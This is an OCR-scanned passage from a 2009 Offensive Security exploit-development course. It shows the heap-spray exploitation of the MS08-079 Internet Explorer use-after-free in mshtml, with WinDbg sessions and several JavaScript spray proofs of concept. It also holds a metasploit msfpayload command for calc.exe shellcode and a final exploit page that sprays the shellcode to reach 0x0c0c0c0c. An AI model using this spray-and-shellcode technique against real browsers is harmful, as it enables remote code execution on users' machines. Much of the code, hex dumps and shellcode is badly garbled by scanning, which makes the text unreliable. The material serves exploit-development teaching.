6ccB82965 B3cBO2 or eax, 2

0:011> g

Windbg POCO1 session setting a breakpoint on the vulnerable function

This time, opening POCO1 from IE has a different result: execution flow stops at
mshtml!CXfer::TransferFromSrc+0x34 because of our breakpoint. More interesting is that our theory
seems to be confirmed by Windbg, it shows us a virtual function table pointer at address 0x0348bdd0
(first 4 bytes of CSpanElement object?): mshtml!CSpanElement:: vftable' (6c805a08):

Breakpoint 0 hit

eax=0348bdd0 ebx=00000000 ecx=034988d40 edx=00000000 es5i=034988d0 edi=034aBcds

eip=6ccB82954 esp=02blf6fc ebp=02blflic iopl=0 nv up el pl nznaponc

cs=001b ss5=0023 ds=0023 e5-0023 fs=003b gs=0000 ef1=00000202

mshtml ICXfer: :TransferFromSrc+0x34 :

60c82954 8b08 mov ecx,dword ptrieax] ds:0023:0348bddl={mshtml!CSpanElement:: vftable' (6cbi5a08)}

Windbg reveals a virtual function table pointer at address 0x0348bdd0
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251
=251 4
ebx, ebx
byte pir [esi+1Ch]. 9
jne mshtml CEfer TransferFromSre+0xllt (BocB2a35)

me eax dvord ptr [es1)

O max ehx

1e mshtnl | Clfer: TransferFromSro+0xlll (6ccB2a3l)
cHp dword ptr [esi+4] ehx

e mehinliClfer TransterFrowSro+0x1ll {6ccB82a3l)
cmp dword ptr [esi+8] ebx

[ mehtml I Clfe

82a1

¥
push edi
push BaK
cail dword ptr [ecxz+84h]
MmOy =ax dvord ptr [ezi+lCh]
Moy edl eax
shr edi.l
or eax, 2
and exii. 1
test byte ptr [esi+l4h’.4
mow dword ptr [esi1+1Ch] eax
je mehtrl!CHlfier TransferFromSrc+lxte (6ccB298e)

Figure 76: CSpanElement Object vftable pointer

Resuming the execution flow, the breakpoint is hit again and then we get our access violation as
expected®:

0:005> g
ModLoad: 74%a0000 749a%000 C:\Windows\system32\Nlsdl.dil

Modload: 74%9a0000 74923000 C:\Windows\system32\idndl.dl1l
Breakpoint 0 hit

eax=0c0c0cl0c ebx=00000000 ecx=034986f8 edx=6caclae5 esi=034988f8 edi=034aBecds

eip=6ccB82954 esp=02blféfc ebp=02blf7le iopl=0 nv up ei pl nznapenc
cs=001b s8=0023 ds=0023 es5=0023 £s=003b gs=0000 ef1=00000206
mshtml!CXfer::TransferFromSro+0x34:

6ccB2954 BbOB movecx,dwordptr [eax] ds:0023:0c0c0c0c=2222727222
0:005> g

(f08.beB): Access violation - code cDO00D05 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0c0c0clc ebx=00000000 ecx=034988f8 edx=6caelaes es5i=034988f8 edi=034aBcdB

eip=6cc82954 esp=02blféfc ebp=02blf7lc iopl=0 nv up ei pl nznapenc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=000102086
mshtml ! CXfer: : TransferFromSrc+0x34 :

6cc82954 BbOS8 mov ecx,dword ptr [eax] ds:0023:0c0c0c0c=72222227

POCO1 Windbg session

63A!\Ithough we didn't reverse engineer the vulnerable function, we do know that the vulnerability is being triggered

by nested "span" elements; we have one nested span element in the POC and it makes sense that we getan AV
after the first one.
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It’s time to get our hands dirty and play with the heap in order to see how to manage precise allocations
in memory. Let’s say we want to allocate 10 chunks on the heap, each about 1200 bytes containing our
fake object address Ox0cOcOcOc. Here are few things to note in the following POC:

The alloc function uses Sotirov formula to calculate the right string length in order to allocate
the amount of bytes we are requesting;

* Every array member will allocate a chunk of 1200 bytes of data using the substr function, a
simple assignment won't work as explained by Sotirov;

Some heap spray exploits, use a syntax like evil[k] += FAKEOBJ although this syntax works it's not
precise because every chunk of data will begin with an "undefined" value followed by our data.

The string operator “+=” will concatenate an undefined value (evil[k] has not been initialized yet)
with a string value.

<htmi>
<script>
/{8imple func to fix string length according to BSTR spec
function alloc(bytes;, mystr) {
while (mystr.length< bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
var evil = new Arravy(};
var FAKEOBJ = unescape ("$ulcDciulclc"):
FAKEOBJ = alloc{1200, FAKEOBJ);
alert {"ph33r"j;
// Perform 10 allocations of 1200 bytes on the heap
for (wvar k= 07 k < 97 k#+} {
// USE substr not += to avoid "undefined" problem
eviiik] = FAKEOBJ.substr(0, FAKEOBJ.length);
document .write({"<iframe src=\"iframe.html\">"};
</script>
</html>

Javascript code to perform 10 allocations of 1200 Bytes each on the heap
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0:005> de 0c0a1238

0=0a1238  8f7a359b 08653af8c 00040026 006e0075 =z PRI .
O0c0al1248 00650064 00690066 D06500fe DcOc0DEd d.e= f . in e d
0021258 OclOclclc 0clclclc O0clciclc OclcOclc .
ODclal2ed  Oclclclc 0clclclc Oclelclc Oclclcico

0021278 Oclclclc Oclclclc Oclclcic Oclclclcs

0cla1288 (Oclc0clc OclclcOc OcOclclc OcDclcihc

0081298 Oclc0clc Oclclclc Oolclclc Deleficle
Oz=0al2a8  OcOclclc Oclclclc Oclclclc OcOclclc

Figure 77: Undefined value generated by the “evil[k] += FAKEOBJ” syntax

Attaching Windbg to iexplorer.exe and opening POC0O2 we obviously obtain the same crash we obtained
with POCO1, but lets analyze the heap to see if we allocated the chunks as we wanted. First of all, we
expect our allocations to be in the process default heap. That can be found in Windbg by looking at the
PEB structure or by looking at the first heap, listed by the heap command®:

0:005>1peb
PEE at 7ffdd0og

InheritedhddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaselddress: 0040000
Ldr 77d45d00
Ldr.Initialized: Yes
foaid
ProcessHeap: 00250000
[-..]
0:005> Vheap
Index Address Name Debugging options enabled
gis 00250000
23 00010000
3 001a0000
4: 00chb0000
53 00cal00n
6: 00bb0000
i

Identifying the default process heap in Windbg

“Default process heap is always the first listed as a result of the lheap command
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If our calculations were correct our heap chunks should be 0x4b0 bytes (1200). Once again the “heap”
command comes in handy, let's search all the heap chunks of such size with the "-flt s" option:

0:005>theap -flt s 0x4b0
_HERP @ 250000
HEAP ENTRY Size Prev Flags UserPtrUserSize - state

033dd1a0 00%7 0000 [0O] 033ddlag 004b0 - (busy)
033dde58 0097 0097 [00] 033dde60 004b0 - (busy)
033de310 0097 0097 ([00] 033de318 004b0 - (busy)
033de7c¢B 0097 0097 [00] 033de7d0 004b0 - (busy)
033dec80 0087 0087 [00] 033dec8g 004b0 - (busy)
033df138 0097 0097 [00] 033d£140 004b0 - (busy)
033d4£5£0 0097 0097 [00] 0334518 004b0 - (busy)
033dfaaB 0097 0087 [00] 033dfab0 004b0 ~ (busy}
033d4ff60 0087 0097 [00] 033dffe8 004b0 - (busy)
033e0418 0097 0097 {[00] 0330420 004b0 - (busy}

_HEAP @ 10000

_HERP @ 1a0000

Searching for heap chunks

We find ten heap chunks of size 1200 bytes all in the default process heap. But are we sure they are our
blocks? Let's dump their memory content:

0:005>de 033dd1a0
D33ddla0 cadeba’d9 0BOTbSef 000004aa Uclelcle i ....c.cicacan
U33dalbl 0c0clco0cOcOcieDelelcleRaleleela o L L e s ssnns
033ddlcO  0clelclebelelclclclalelclclclcde
033dd1d0 0c0cDcleleebelclclelclalclclcle
033ddiel 0cOcOc0chcOclclcOclc0clcOciclicle
033ddif0  DclebelelclclalcOccicbelelaolela oo iacas
033dd200 0Oclc0c0clc0eclc0clclclclclclclcle .i.vaviiiivaas :
033ddZ210 0c0clclclclclclciclalclclclclcle
0:005>de 033e0418

033e0418 cadebas9 080Bb77b 000004aa 0clclclc ... di.ii.eiain
033e0428 0OclcUc0cOcOclelclelele0clelclele e v vuinanrs
03320438 0c0c0c0c0c0cOclclclelclclclelele  ivvneivnanvunin
C33e0448  0clelcOclelclelelclotelelelelele oo v e ool iias
033e0458 DelclclclclclolelclclelelelelelE o eensrnsnnins
033e0468 DOclcl0c0clclclclclclclclelelelele .. iviienaciian
0330478  OclclelcleliclclelcleleDeleDelee L om v or s ncimeomes
033e0488 0c0c0cDc0cDe0c0ec0c0c0c0c0clclclc

Inspecting our allocations

Yes, our allocations are correct, but did you notice the "strange" bytes at the beginning of each chunk?
The first 8 bytes of each chunk, is heap metadata, which in Windows Vista and Server 2008, is
randomized to increase security against heap attacks.
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HEAP METADATA 8Bytes BSTR METADATA 4Bytes DATA NULL 2Bytes

{ 'cadeba99 | 807bSef | 000004aa I DelelBele: L 0. o0 i 0000 |

Heap Metadata

The metadata is used by the heap manager to manage heap chunks within a segment, for example it
contains information regarding the size of the current and previous block or the status of the chunk
(busy or free), etc. Although in Vista metadata is randomized, Windbg has a nice feature to retrieve its
content. We can use the "-i" option to display information of the specified heap decoding randomized
data:

0:005>'heap -i 033dd1lal
Detailed information for block entry 033ddia0

Assumed heap : Ox02660000 (Use !heap -iNewHeapHandle to changs)
Header content : OxCADEBA99 0x0B07BSEF (decoded : Ox9D4482R4 Ox0BOTRAFCE)
Cwning segment : Dx03360000 {(offset 7)

Block flags ¢ 0x45 (busy £ill user flag }

Total block size : OxB2ad units (0x41520 bytes)

Requested size : Ox41518 bytes (unused 0x8 bytes)

Previous block size: Oxafce units {0x57e70 bytes)

Block CRC : ERROR - current 9d, expected 62

Previous block : Ox03385330

Next block : Ox0341e6c0

Retrieving Heap chunk metadata (wrong heap handle)

Something is wrong as shown in "Block CRC". This happens because /heap was trying to get info about
our chunk assuming as heap handle 0x02660000 (see the first line of the output "Assumed heap") while
our block is in the default process heap 0x00250000. We need to change the heap context passing the
right handle to the heap command before getting our info about the chunk:

0:005>'heap -i 00250000

Haap context set to the heap O0x00250000
0:005>'heap -i 033dd1la0l

Detailed information for block entry 033ddlal

Assumed heap : 0x00250000 (Use 'heap -iNewHeapHandle to change)

Header content : OxCRDEBASY9 Ox0807B5EF (decoded : 0x96010097 0x08070203)
Owning segment : 0x03360000 (offset 7)

Block flags : Ox1 (busy )

Total block size : 0x97 units (0x4b8 bytes)

Requested size : 0x4b0 bytes (unused 0x8 bytes)

Previous block size: 0x203 units (0x1018 bytes)

Block CRC : OK - OxS6

Erevious block : 0x033dclis

Hext block : 0x033ddé658

Retrieving Heap chunk metadata (right heap handle)
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We now have our heap chunk information decoded by Windbg, for example, we are now able to
navigate to the previous or next heap chunk using the previous and current block size info® or have
information on the memory segment and block flags.

Can we go further? Well, there will be times where you make a wrong calculation and can't find where
your data has been allocated, or simply you want to follow the allocation more closely. Sotirov, in his
heaplib library, included a few functions that are able to "debug" allocations on the heap if associated to
particular breakpoints in Windbg. Let's see if we can use the same technique without using heaplib. It's
important to note that Sotirov's debug functions are based on a "tricky" combination of js function calls
and conditional breakpoints in Windbg. Basically the idea is to be able to dynamically monitor
ntdll!RtlAllocateHeap stack parameters to see how many bytes were allocated and at what addresses.

<html>
<head>
<script>
//8imple func to fix string length according to BSTR spec
function alloc(bytes, mystr) {
while (mystr.length< bytes) mystr 4= mystr;
return mystz.substr{0, (bytes-6)/2);
}
// Debug Heap allocations enabling BtlAllocateHeap breakpoint
function debugHeap{enable) {
if (enable == true) {
void(Math.atan (Oxdead));
} else {
void(Math.asin (Oxbeef));
}
}
</script>
</head>
<body>
<script>
debugHeap (truej ;
var evil = new Rrray();
var FAKEOBJ = unescape{"%ulc0c3ulcOc"};
FRKEOBJ = alloc (40000, FAKEOBJ) ;
alert ("ph33zr");
// Perform 10 allocations of 40000 bytes on the heap
for tvar k = 02 k <197 t0) f
// <— USE substr not += to aveid "undefined" problem
evil[k] = FAKEOBJ.substr (0, FRKEOBJ.length);
}
document .write("<iframe src=\"iframe.htmi\">");
debugHeap (false);
</script>
</body>
</html>

Javascript heap debug functions

®please note that the block size info are expressed in units: to obtain "user size" info you need to multiply block
size by the heap granularity (default = 8) for example: Total block size : 0x97 units * 8 = 0x4b8 bytes '
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For sure this check must be enabled only before our allocations and disabled just a moment after. Here
we can see an example of a session monitoring allocations from JavaScript using POC03 debug functions.

JAVASCRIPT

| JAVASCRIPT

¥ - W!Ij\IDBG . ¢

| 7 [

! Bp on || ‘ ! Bp on

|| jscriptiJsAtan | | | jscriptiJsAsin | |

| |always enabled| | | always enabled | !
ek 5 i | 1

i

Bp on
| nidl!RtAllocate Heap | |
Q'es-.h | disabled when process ‘ i 1(9'5
NI starts } =

Yes
‘ Print Allocation

and Size

| e

Figure 78: Javascript Debug Functions and Windbg breakpoints
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We need to set breakpoints in Windbg before starting the session:

0:011>be *

0:011>1heap

Index Rddress Wame Debugging options enabled
3 8 00320000
2 00010000
o 00070000
4: 00cd0000
i 01080000
6 01280000
i 01270000
B: G1a70000
83 01230000
10: 02550000
13z 01680000

0:011>bu 77celT7le "j (poi(esp+4)==003a0000 and poi(esp+c)==0x9c40)
'.printf \"allocated({0x%x) AT ADDRESS 0x%x\", poi{esp+c), eax; .echo;g'; 'g';"

0:011>bu jscript!JsAtan "j (poi(pol(esp+ld)+8) == dead) '.echo DEBUG ENABLED FROM JS EXPLOIT; be
G gty

0:011>bu jseript!JdsBhsin "j (peoi (poilesp+ld)+8) == beef} '.echo DEBUG DISABLED FROM JS EXPLCIT:; bd
0; g

0:011>bd 0

Windbg breakpoints needed by Javascript heap debug functions

Pay attention to the previous breakpoints syntax:

* The “{” command conditionally executes one of the specified commands, depending on the
evaluation of a given expression;

* The “poi” operator does pointer-sized data from the specified address, 32bits in our case;

* The first breakpoint at 0x77ce1716 is the “RETN” instruction (RETN 0xC) within
ntdlilIRtlAllocateHeap; you can find it with the help of Windbg “uf ntdilIRtIAllocateHeap”.

So as explained in the previous drawing, the first breakpoint breaks execution if allocation is made in the
default process heap and allocation size is equal to the one requested. These checks are done
dereferencing two pointers on the stack (esp+4 and esp+c). If execution stops, address and size of the
allocation are printed (printf) and the execution is resumed (g). The second and third breakpoints break
execution if the two specified functions within jscript.dll are called and if the parameter passed as the
argument is equal to the one requested (long life to the Oxdeadbeef :) I11).
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If the breakpoint is hit we enable (be 0) or disable (bd 0) the RtlAllocateHeap breakpoint in order to

enable or disable debug output at runtime. Let's run POC03 and watch our allocations in "interactive
mode" from Windbg:

0:011> g =
ModLoad: 6dd80000 6ddf8000  C:\Windows\system32\jscript.dll

DEBUG ENABLED FROM JS EXPLOIT

allocated(0x9c40) AT ADDRESS Ox344ccls e e e Allocation 01
allocated(0x9c40) AT ADDRESS O0x3456860 <== Allocation 02
allocated(0x9c40) AT ADDRESS 0x3414bd0 R e e e e e Allocation 03
allocated(0x9c40) AT ADDRESS Ox341eB818 <-- Allocation 04
allocated(0x9c40) AT ADDRESS 0x3428460 L Allocation 05
allocated(0x9c40) AT ADDRESS 0x34320a8 e o Allocation 06
allocated (0x9c40) AT ADDRESS Ox343bcf0 K o e o o o e Allocation 07
allocated (0x9c40) AT ADDRESS 0x34604a8 Lo Allocation 08
allocated(0x9c40) AT ADDRESS 0x346a0£0 e Allocation 09
allocated(0x9c40) AT ADDRESS Ox3473d38 o e Allocation 10

DEBUG DISABLED FROM J5 EXPLOIT

ModLoad: 73550000 73679000 C:\Windows\System32\msxml3.d11

(eed.b28) : Unknown exception - code 20000001 (first chance)

(eed.b28) : Unknown exception - code eQ000001 (first chance)

(eed .b28) : Unknown exception - code e0000001 (first chance)

(eed.b28): Unknown exception - code eD000001 (first chance)

ModLoad: 6de20000 6decB000 C:\Program Files\Common Files\System\Ole DB\oledb3Z.d11
ModLoad: 71650000 7166f000 C:\Windows\system32\MSDART . DLL

ModLoad: 745f£0000 74676000 C:\Windows\WinSxS\x86 microsoft.windows.common-
Controls_6595b64144ccfldf_5-82.6000.16386_none_8?eﬁcb09378?14fl\CDMCTL32.dll
ModLoad: 77c¢00000 7774000 C: \Windows\system3Z2\COMDLE32.d11

ModLoad: 6f9c0000 6£9d7000 C:\Program Files\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 73820000 73829000  C:\Windows\system32\Nlsdl.dll

ModLoad: 73820000 73829000 C:\Windows\system32\idndl.dll

{eed .b28): Access vwiolation - code c0000005 (first chance}

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0clc0clc ebx=00000000 ecx=0344B0f8 edx=6bealae5 esi=034480f8 edi=034094a0

eip=6c042954 esp=02fffeb8 ebp=02fff6d8 iopl=0 nv up ei pl nznapenc
cs=001b ss5=0023 ds=0023 es=0023 £s=003b gs=0000 efl1=00010206
mshiml !C¥fer: :TransferFromSrc+0x34;:

6c042954 BLOS8 mov ecx,dword ptr [eax] ds:0023:0c0c0c0c=227222222

0:005>de Ox344ceclB

0344ccl8 00009c3a 0cOcOclc 0c0c0cOcOelclclce
0344cc28 0c0c0c0c0c0c0c0c0cicOclclclclcle
0344ce38 0c0c0e0c0c0c0c0c0c0c0c0ciclcOcle
0344ccd8 0c0c0c0c0c0c0c0c0clcOciciclclclc
0344cc58 0c0c0c0c0c0clc0ciclclc0c0c0c0cle
0344cc68 0c0c0c0c0c0c0c0c0c0c0c0cicOclcie
0344cc78 0c0c0c0c0c0e0c0c0c0cOclclclcicle

Watching heap allocations at runtime thanks to the Javascript heap debug functions

Quite impressive as now we are able to trigger breakpoints directly from JavaScript!
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1) Repeat the required steps in order to perform 20 heap allocations of 2000 bytes each. Check the
allocations of memory in Internet Explorer after the Javacscript has been executed with help of Windbg.
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Now that we have the weapons it's time to build a working exploit for MS08-079. First

of all, we need to

find out how much we need to "spray the heap" to reach address 0x0cOcOcOc. This step of the exploit

development can be even done with a trial and error approach, but having acq

uired some heap

background we can follow some important indications on how to proceed. We do know that the heap
grows up from 0x00130000 memory space. We've also just seen from the previous POCs that our chunk
allocations were all starting from address Ox34XXXXXX so, the first guess, should probably be that we
need at least OxOcOcOcOc - 0x0344cc18 bytes (0x0344cc18 value was taken from previous POC

allocations) which is more or less 150Mb. Let's start with 80Mb and see what happens
POCO4 source code we will spray the heap with 1000 chunks of 80Kb:

... in the following

<html>
<head>
<script>
//8imple func to fix string length according to BSTR spec
function alloc(bytes, mystr) { !
while (mystr.length< bytes) mystr += mystr:
return mystr.substr{0, (byvtes—-6)/2};
3
</script>
</head>
<body>
<script>
var evil = new Array();
var FAKEOBJ = unescape ("$ulc0c%ulcOc");
FAEKEOBJ = alloc(B81920, FAKEOQOBJ):;
alert ("ph33c"};
// Perform 1000 allocations of 81920 (0x14000)bytes on the heap
for (var k= 0; k < 1000; k++) H
// <- USE substr not += to avoid "undefined" problem
evil[k] = FAKEOBJ.substr (0, FREKECBJ.length) ;
}
document . .write ("<iframe sro=\"iframe.html\">");
</script>
</body>
</html>

POC04 source code: spraying the heap with 80Mbytes of data
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Once again we set a breakpoint on mshtml!CXfer::TransferFromSrc+0x34 and we run our new poc;
follows the Windbg session:

Breakpoint 3 hit
eax=0c0c0clc ebx=00000000 ecx=05276910 edx=6b2flaes esi=05276910 edi=05670828

eip=6b492954 esp=0324£734 ebp=0324£754 iopl=0 nv up ei pl nznapenc
cs=001b =8=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00000206
mshtml !CXfer: : TransferFromSrc+0x34 :

6b492954 BbO8 mov ecx,dword ptr [eax]

0:006> dc 0x0cOcOcOc
0cOCO0COC 227227732 TPRP0ENY RV P00 B3RP aeRRuenn

OcOcOcle 22227227 22222222 22227227 27722727 32222227721722222
0cOcOc2e 22227227 22222272 22232227 27729722 09222277722322222
OcOcOc3c 22223227 22222727 727772727 22222227 27227722229272292
OcOcOcde 22222222 22222222 22222222 22292222 2222222222222222
OcOcQcSc 7722372777 92727727722 239729297 197299299 99923339099999999

OclcOcéo 2222727272 29222727 2792729292 272922272722 2970727220925 399999

OcOcOcTe 222227272 29722227 737772727227 22792722 23232777772272327227
0:006> theap -flt s 0x14000
_HEAP @ 240000
HEAP ENTRY Size Prev Flags UserPtrUserSize - state

02£71b20 2801 0000 [00] 02£71b28 14000 - (busy)
02£85b28 2801 2801 [00] 02£85b30 14000 - (busy)
02f99b30 2801 2801 [00] 02£99b38 14000 - (busy)
02fadb38 2801 2801 [00] 02fadb40 14000 - (busy)
02fclb40 2801 2801 [00] 02fclb48 14000 - (busy)
02fdSb48 2801 2801 [00] 02£d5b50 14000 - (busy)
05080040 2801 2801 [00] 05080048 14000 - (busy)
05094048 2801 2801 [00] 05094050 14000 - (busy)
050a8050 2801 2801 [00] 050a8058 14000 -~ (busy)
050bc058 2801 2801 [00] 050bc060 14000 - (busy)

b e REMOVED TO SOVE SPACE.. ... li.ieuieses i
eSS ALLOCATIONS FROM Ox0530000 to O0x093000LXX. .... ]
Bt e s REMOVED TO SAVE SPAEEC. . 0 o el e on 1

We didn't reach 0x0c0c0OcOc but we are in the 0x09edXXXX memory area on the heap, which means that
we need 35MB's more or less. Let's try with 130Mb and see if we hit our magic address!
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0910060 2801 2801 [00] 09210068 14000 - (busy)
09224068 2801 2801 [00] 09e24070 14000 - (busy)
09e38070 2801 2801 [00] 09e38078 14000 - (busy)
0%e4c078 2801 2801 [00] 09e4c080 14000 - (busy)
0%e60080 2801 2801 [00] 09e60088 14000 - (busy)
09e74088 2801 2801 [00] 09e74090 14000 - (busy)
09e88090 2801 2801 [00] 05e88098 14000 - (busy)
09e9c098 2801 2801 [00] 09e9c0al 14000 - (busy)
0%9eb00a0 2801 2801 [00] 0%eb00a8 14000 - (busy)
0%ec40a8 2801 2801 [00] 09ec40b0 14000 - (busy)
09ed80b0 2801 2801 [00] 09ed80bg 14000 - (busy)

_HERP @ 10000
_HERP @ 2c0000
_HEAP @ 00000
_HERP @ 20000
_HEAP @ b70000
_HEARP @ 2b0000
_HEAP @ a00000
_HERP @ 1430000
_HEAP @ ad0000
_HEBP @ 2640000
_HERP @ 2830000
_HEAP @ 26c0000
_HERP @ 2ec0000
_HEAP @ 3090000
_HERP @ 3400000
_HERP @ afB0000
_HERP @ 33c0000
_HEAP @ b190000
_HEAP @ 3330000
_HEAP € 3130000

Checking heap layout after exploitation

var evil = new Array():
var FAKEOBJ = unescape ("%u0c0c%ulcOc");
FAKEOBJ = alloc (133120, FAKEOBJ) ;
alert ("ph33rc"):
// Perform 1000 allocations of 133120(0x20800)bytes on the heap
for {var k = 0:; k < 1000; k++) |
// <- USE substr not += to avoid "undefined" problem
evil{k] = FAKEOBJ.substr(0, FAKEOBJ.length);
}
document.write ("<iframe sre=\"iframe.htmi\">");
</script>
</body>
</html>

POCO5 source code: spraying the heap with 130Mbytes of data

178 © All rights reserved to Offensive Security, 2009




Rsecurity

www;nljl

Let's follows POCO5 Windbg session:

Breakpoint 3 hit
eax=0c0c0c0cebx=00000000 ecx=0345ebB8 edx=6afBlae5 es5i=0345ebB88 edi=0345acdB

eip=6b122954 esp=0325f8dc ebp=0325f8fc iopl=0 nv up ei pl nznapenc
¢s=001b s5=0023 ds=0023 es=0023 £s5=003b gs=0000 efl=00000206
mshtml |CXfer: : TransferFromSrc+0x34:

6bl122954 BbLOB mov ecx,dword ptr [eax]

ds:0023:0c0c0cl0c=0c0c0c0c

0:006>de 0cOcOcOc

0cOclclc 0c0clc0clclclclclclclclclclalcl
OcOclcle 0c0clcOc0c0c0clclclc0c0clclclcle
0c0clcZe  0OcOclclclclalalalclc0c0clclclala
0cOclc3e 0c0clclelclelalalelclcle0clclcle
0clclcde 0clclclclclclclclclclclclclclclc
0cOcOc5c 0c0clclclelclelclclclc0clclclcla
0cOcOcée 0c0c0c0c0c0c0c0alclclelclciciclc
0clclcTe 0c0c0c0c0ec0clclelclclclc0c0clcle

This time we hit our address and we can spray the heap overstepping the 0x0cXXXXXX memory space:

0:006> 'heap -flt s 0x20800
_HEAP @ 4b0000
HERP ENTRY Size Prev Flags UserPirUsersize - state
03487538 4101 0000 {00} 03467940 20800 - (busy}
03488140 4101 4101 [00] 03488148 20800 - (busy)
034a8948 4101 4101 [00] 03488950 20800 - (busy)
04£00040 4101 4101 [00] 04£00048 20800 - (busy)
04f20B48 4101 4101 [00] 04£20850 20800 - (busy)
04£431050 4101 4101 [00] 04£41058 20800 -~ (busy)
04161858 4101 4101 [00] (j4fel860 20800 - (busy)
04£82060 4101 4101 [00] D4£B2068 20800 ~ (busy)
C4fazB8e68 4101 4101 [00] 04fa2870 20800 - (busy}
04£c3070 4101 4101 [00] 04fc3078 20800 - (busy)
04fe3B878 4101 4101 [DO] 04fe3880 20800 - (busy)

[evceesisnevec . REMOVED TO SAVE SPRCE. sxxniinsamaessas ]
LS ALLOCRATIONS FROM O0x053000X to OxOccXXXXX..... 1
(LR e REMEVED TO SAVE SPECE...... - ceensss i

OcdbB0cO 4101 4101 {00} 0cdb80c8 20800 - (busy)
Ocdd88c8 4101 4101 [00] OcddBado 20800 - (busy)
0cdf90d0 4101 4101  [00] 0cdf90ds 20800 - (busy}
Ocel9B8dB 4101 4101 [00] Ocel9Bel 20800 - (busy)
Oce3alel 4101 4101 [00] Oce3aleB 20800 - (busy)
OceS5aBeB 4101 4101 ° [00] Dce5a8f0 20800 - (busy)
Oce7b0f0 4101 4101 [001 OceTb0f8 20800 - {busy)
OceSbBf8 4101 4101 [0QO] 0cedb800 20800 - {(busy)
Ocebel00 4101 4101 [00] Ocebcl08 20800 - (busy)
DcedcS08 4101 4101 [00] Ocedc8910 20800 - (busy}
Dcefdl10 4101 4101 [00] Ocefdlls 20800 - (busy)
OcfldSlg 4101 4101 [00] 0cf1dS820 20800 ~ (busy)

_HEAP @ 10000

faned

Checking heap layout after exploitation
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But in which chunk is the 0x0cOcOcOc fake object? We can use the 'heap command with "-p" option to
display page heap information for the address ("-a") 0x0cOcOcOc:

0:006>!'heap -p -a 0x0cOcOcOc
address 0cOcOcOc found in
_HEAP @ 4b0000
HEAP ENTRY Size Prev Flags UserPtrUserBize - state
0c0b3170 4101 0000 [00] 0c0b3178 20800 - (busy)

—

0:006>dec 0cOb3170

0cOb3170 Telf7ch7 0Bd4ecffa 000207fa 0cOclclc Wiod. Nocaiviea.
0c0b3180 0c0c0c0c0c0clcle0c0clclcOCiCiTOC <o v v s sieennns
0c0b3190 0cOchOchDchOcOcﬁcOchOgOchOc Sl
0c0b31al 0c0c0cOcOec0clchclclelclclclalale ... .. o SR

0c0b31b0  0c0c0c0clclchcle0e0c0c0cheela0C wun e cicncns
0clb31cl 0c0c0c0c0clc0c0c0c0c0c0c0chElo0c vnernennnennnns
0c0b31d0  0cl0c0c0chclclcOc0e0c0elctelelale  wvvenn i s
0cOb31el 0clclclelclclc0clelelelelelelele vvns s insonenann

Searching for the heap chunk containing 0x0c0cOcOc

Ok now that we have the correct block size, we can try to append some shellcode to our FAKEOBJ to
OWN IE. In fact, we know that the call to our FAKEOBJ vfunction (0x0c0c0c90) will execute opcodes at
0x0c0c0cOc ... but wait... What opcodes do we have at address 0x0c0cOcOc?

We first generate a simple exec calc.exe shellcode with metasploit:

bt ~ # /pentest/exploits/framework3/msfpayload windows/exec CMD=calc.exe J

// windows/exec - 121 bytes

// http://www.metasploit.com

// EXITFUNC=senh, CMD=calc.exe
%UESfc%u0044%u0000%u458b%u8b3c%u05?c%uOl?S%uBbef%ul84f%u5f8b%u0120%u493b%u348b%u01Bb%u3lee%u9900%
u8460%574CD%uclQ?%uDdCﬂ%chUl%uf4eb%u543b%u0424%ueE?E%quSb%uUlZﬂ%uGEeb%uOcBb%u8b4b%u165f%ueb@l%u
1CSh%u01Bb%uSer%uZdBc%uc304%u3l§f%u60f6%u6456%u468b%u8b30%u064D%uTOBb%uadlc%uGSSb%uBQOB%uBBfS%uG
aCD%uGE50%uSafO%uSf04%u9868%u83fe%u5?06%ue7ff%u6l53%u635c%u652e%u65?8%u4100

Generating calc.exe shellcode using metasploit

Then we add shellcode to our buffer within the "alloc" JavaScript function:

<html>
<head>
<script>
//8imple func to fix strimg length according to BSTR spec
function alloc (bytes, {
// windows/exec — 121 bytes

// http://www.metasploit.com

// EXITFUNC=seh, CMD=calc.exe

var shellcode = unescape(
"5ue8fctul443u00005ud58bsubb3csuls7csull T8%uBbefsul84£3uS£8b3u0120%ud%ebiu348biu0lsbiu3lectndsco
fuBdacsuTdcisucli?suldcatuc20l tufdebiu543biuld245ue5758u5£8b2ull243u66ebsulcBbiusbibsnul c5F4uab0l
ulc8b%ull8biuB9ebtu245c8uc3043u315f3u60f63u6456%u468b%usb30%u0cd03u708biuadl c5u688bsus008%u83Fa%Y
GacG%uGSSD%UBafO%quOQ%u9868%u83fe%u5706%ue7ff%u6163%u6365%u652e%u6578%u4100"};
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while (mystr.length< bytes} mystr += mystr;
return mystr.substr(0, (bytes-6)/2) + shellcodse;

] —
</script>
</head>
<body>
<gcript>

var evil = new Array():

var FAKEOBJ = unescape ("%ulc0Oc% Beh)q:

FAKEOBJ = lloc (133120, FAKEOEJ-))%

alert ("ph33r");

// Perform 1000 allocations of 133120(0x20800) bytes on the heap

for (var k = 0; k < 1000; k++) {

// <- USE substr not += to avold "undefined" problem
evil[k] = FRAKEOBJ.substr (0, FAKEORJ.length);

}

document.write("<iframe src=\"iframe.html\">"};
</script>
</body>
</html>

Final Exploit source code

Running the final exploit we see execution stops at our breakpoint “mov ecx, dword

ptrleax]". 0x0c0cOcOc is a valid address and stores our FAKEOBJ. The first 4 bytes are the address of the
fake virtual function table, once again pointing to 0x0c0c0cOc.

Virtual function stored at a 0x84 offset from the beginning of the vtable is executed and because

0x0c0c0c90 points once again to Ox0cOcOcOc, the following ASM instructions at this address are
executed:

OR AL, 0x0C 5 Ot 7
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n-w.ol!tl‘_ﬁi'

£ pid 2824 - WinDbg:6,11.0001.404 X86 1T Italiar

File Edit WYiew Debug Window Help

= & DRASEORBOBEE =1

Disassen _ LT 4 RN 5
Oﬁsﬁ:§@o$¢upexp

6b122938 8b0O% MOV eax, dwvord ptr [esi1]

6b12293a 3bcd CHp eax. ebx

6b12293c 0f84ef000000 je mshiml 1 CHfer: TransferFromSroc+0xlil (6bl22a31)
Bb122942 39504 Cup dword ptr [esi1+4] ebx

601225945 0f84ec000000 je nshtml 1 CEfer: :TransferFromSroc+0x111l (6b122a31)
6bl2294b 395=08 CHp dword ptr [esi+8]. ebs

